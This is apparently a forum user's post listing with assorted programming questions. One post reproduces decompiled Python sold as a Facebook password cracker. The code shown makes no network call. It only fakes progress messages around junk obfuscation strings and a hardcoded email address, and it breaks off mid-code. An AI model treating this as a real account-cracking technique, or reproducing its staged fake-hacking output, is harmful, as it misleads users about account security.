Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - patilanz

#1
Buenas,
Tengo 3 tablas A, B y C
La tabla A contiene un ID que también puede estar en B o en C exclusive.
Necesito obtener todos los datos de A y dependiendo de donde este el ID, todos los datos de B o C


Un saludo
#2
Como puedo llamar a una función de una DLL de Windows sabiendo su dirección estática?

Por ejemplo:
Código (cpp) [Seleccionar]
HMODULE dll = LoadLibraryA("comDlg32.dll");
if (dll == 0){
printf("Failed to load Library");
exit(1);
}
PGetOpenFileName AGetOpenFileName = (PGetOpenFileName)GetProcAddress(dll, "GetOpenFileNameW");
GetProcAddress(dll, "GetOpenFileNameW");
if (AGetOpenFileName == 0){
printf("Failed to load function");
exit(1);
}


El codigo anterior funciona. Con DLL Export Viewer obtengo la direccion de la funcion y pense en algo asi:

Código (cpp) [Seleccionar]
PGetOpenFileName AGetOpenFileName = (PGetOpenFileName)0x000000018004dfc0;

Pero me salta con infracción de memoria.

Pistas?

Un saludo
#3
Seguridad / XSS protección con JS
18 Febrero 2018, 17:56 PM
Buenas,
Que puedo utilizar en JS  para poder codificar html y JS ? Guardo datos con nodejs en mysql que luego se imprimen al usuario.
Los típicos filtros que encontré por internet no incluyes ataques como XSS UTF-7 u otros parecidos.

Que filtro utiliza elhacker.net?

Un saludo
#4
Buenas,
necesito poder firmar un token con una clave privada pero luego comprobarlo con otra clave.

Pensé en clave privada y publica, pero es la publica que cifra y la privada que descifra, y con la privada se puede obtener la publica así que no me sirve.

Un saludo
#5
Buenas,
En mysql usando el motor InnoDB cuando intento crear una tabla con una columna unica de tipo varchar(300) UTF8 me salta con el error: Error Code: 1071. Specified key was too long; max key length is 767 bytes


Existe alguna opción en mysql que mediante hash compruebe las columnas únicas? Puedo poner otra columna que sirva de hash pero no es lo que necesito. Existe otra manera de conseguir algo parecido?

Un saludo
#6
Buenas,
Como puedo conectar mi GeForce GT530 de sobremesa http://www.nvidia.es/object/product-geforce-gt-530-oem-es.html con este portatil HP ProBook 640 G1 https://www.intel.es/buy/es/es/product/laptops/hp-probook-640-g1-358262/technical-specifications

No se si funcionara thunderbolt. No tengo mucha idea de hardware.
Alguna recomendación?

Gracias
#7
Buenas,
Que permisos debería de fijar para que en una carpeta se puedan crear, editar y leer nuevos archivos o archivos ya creados pero no eliminar uno ya existente ?

Si un usuario crea un archivo luego no podrá eliminarlo, solo modificar lo

Un saludo
#8
Me encontré con un archivo python compilado en Internet que dice poder conseguir contraseñas de Facebook. Lo decompile con uncompile6
Código (python) [Seleccionar]
# uncompyle6 version 2.14.1
import time, math, socket, sys, subprocess, os
Q4 = 'MYSQLSTART'
soket = 'set table r1'
algoritm = 'b-4'
number = -186435432
ip = '157.240.2.35'
a = 'C8\x00\x00\x00\x01\x05\x01\x01SQLMANAGER\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
b = '\x01\x05\x01\x05\x01\x05\x01\x01\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
c = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
d = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01rt\x05d\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
e = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
f = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
f5 = 'b'
g = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
h = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
f23 = '3456'
i = '\x01\x05\x01\x05\x01\x05\x01\x01\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05SOKET\x01\x01\x05\x01\x01\x05\x01'
j = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01IMPORT\x01\x05\x01\x01\x05\x01\x01\x05SQL\x01\x01\x05\x01\x01\x05\x01'
k = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
l = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
m = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
ne = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
rrr7r12tt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
f8 = '9'
nr = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
rrw7r12tt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
f2 = 'r'
nrr = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
rrr7r12tt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
f4 = 'e'
ya = 'C8\x00\x00\x00\x01\x05\x01\x01SQLMANAGER\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
yb = '\x01\x05\x01\x05\x01\x05\x01\x01\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
f7 = '7'
c = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
der = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01rt\x05d\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
ee = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
fyy = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
f6 = 'A'
gff = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
hff = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
iff = '\x01\x05\x01\x05\x01\x05\x01\x01\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05SOKET\x01\x01\x05\x01\x01\x05\x01'
f3 = 'u'
gfe = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
hfe = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
iee = '\x01\x05\x01\x05\x01\x05\x01\x01\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05SOKET\x01\x01\x05\x01\x01\x05\x01'
f1 = 'p'
bq6r12ryrqew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
ct512utggr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
da821uiue = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
e5t21ttg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
f0 = '0'
y172er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
gr912er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
print chr(27) + '[2J'
time.sleep(0.5)
print '*************************************'
print 'HACK FACEBOOK ACCOUNTS 2.04v'
print '*************************************'
time.sleep(0.5)
print 'Copyright (c) 2016-2017 Adam Rawn'
print ''
rgrg = 'C8\x00\x00\x00\x01\x05\x01\x01DATABASE\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
bdf = '\x01\x05\x01\x05\x01\x05\x01\x01\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
caa = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
dff = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05erer\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
ess = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
fss = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
gss = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
time.sleep(1)
print '________________________________________'
print 'Warning: use the program properly'
print '________________________________________'
print ''
time.sleep(1)
wew = 0
while True:
   if wew == 0:
       print ''
       print '__________________________________________'
       print 'Put the victim mail (gmail,hotmail,orangemail) for get password'
       print '__________________________________________'
       name = raw_input('FACEBOOK MAIL: ')
   if wew != 0:
       print ''
       print ''
       print '*************************************'
       print 'HACK FACEBOOK ACCOUNTS 2.04v'
       print '*************************************'
       print 'Copyright (c) 2016-2017 Adam Rawn'
       print '__________________________________________'
       print 'Put the facebook mail for get password'
       name = name = raw_input('FACEBOOK MAIL: ')
   print chr(27) + '[2J'
   wew = 10
   agr = 'C8\x00\x00\x00\x01SOCKET\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
   basd = '\x01\x05\x01\x05\x01\x05\x01\x01\x08\x05\x01\x05\x01\x01\x05ewwwwwwwww\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
   env = 'amanides14@gmail.com'
   cwe = '\x01\x05\x01\x01\x05\x01\x01ewfrer\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
   dggsae = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
   eas = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05ttttttttttt\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
   ffdf = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
   gasd = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
   print 'PROCES STATUS:'
   print '--------------'
   if name == env:
       time.sleep(0.5)
       print 'ready to connect ', ip
       time.sleep(1)
       print '...'
       time.sleep(0.5)
       print 'connect ' + ip
       time.sleep(1)
       print 'connected to ' + ip
       time.sleep(0.2)
       print '...'
       time.sleep(2)
       print 'read ' + ip + ' DataBase'
       time.sleep(2)
       print 'mysql read & connect:'
       time.sleep(0.2)
       aasf = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       brtg = '\x01\x05\x01\x05\x01\x05\x01rtttttttttt\x01\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       caws = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01errrrrr\x01\x05\x01\x01errrrrrrr\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       dfd = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       fwe = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       gwed = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       print 'GET_OPTIONS=TRUE'
       time.sleep(0.3)
       print 'FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS'
       time.sleep(0.2)
       print '...'
       time.sleep(1)
       print 'UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS'
       time.sleep(0.3)
       rr8rtt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bq8rryrqew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       ctu8tggr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01333333333333333333333333333\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       dau8iue = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       ett8tg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x054444444444444444444444444444444t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       fye8r = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01SQL\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       gr8er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       print '...'
       time.sleep(1)
       print 'search in DataBase the user with mail == ' + name
       time.sleep(5)
       a78 = 'C8\x00\x00\x00\x01\x05\x01\x01SQLMANAGER\x05\x01\x01\x05\x01\x01\x05\x01FACEBOOK\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       b8 = '\x01\x05\x01\x05\x01\x05\x01\x01\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       c78 = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       d78 = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01rt\x05d\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       e78 = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       f78 = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       g87 = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       h87 = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       i8 = '\x01\x05\x01\x05\x01\x05\x01\x01\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05SOKET\x01\x01\x05\x01\x01\x05\x01'
       j87 = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05SQL\x01\x01\x05\x01\x01\x05\x01'
       k87 = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       l87 = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       m78 = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       n78 = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       r78rr12tt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       b78qr12ryrqew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       ct812utggr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       da821uiue = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       et7821ttg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       y1782er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       gr7812er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       print 'socket finish whit result: ', number
       time.sleep(0.4)
       print '...'
       time.sleep(1)
       print 'Big Data interferences-> data!=null'
       time.sleep(0.3)
       print 'service finish'
       print '____________________________________________'
       print ''
       art5t = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bq1qew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       cgg1r = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       da1e = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       e1tg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       f1er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       g1er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       l4 = 'i'
       ar1tt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bwqqew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       c1gddgr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       d1ae = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       e1tg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       f1er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       g1er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       l1 = 'p'
       a1rtt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bq1qew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05\x01'
       cg1gr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       da5e = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       et5g = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       f5er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
       g5er = 'C8  \x00eetyy0\x00   \x00\x01\x05\x01rtrt\x01\x05\x01\x01\x05\x01\x01\x05y\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       l2 = 'e'
       a5tt = 'C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01'
       bq5qew = '\x01\x05\x01\x05\x01\x05\x01\x01ee\x08\x05\x01AEIOU\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05ytretyreyr\x01\x01\x05\x01\x01\x05FEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\x01'
       cg5gr = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05efrtew\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       da5e = '\x01\x05\x01\x01\x05\x01\x01rrrrew\x05\x01\x01rt\x05\x01\x01\t\x01\x01\x05\x01\x01\x05\x01\x01tewtewtwr\x05\x01\x01frt\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       e5tg = '\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\t\x01\x01\x05\x01\x01\x0544t\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01\x01\x05\x01'
       f5er = 'a=C8\x00\x00\x00\x01\x05\x01\x01\x05\x01\x01\x05 \x01\x01\x05\x01\x01\x05\x01\x01  \x05\x01\x01\x05 \x01\x01\x05\x01\x01\t\x01'
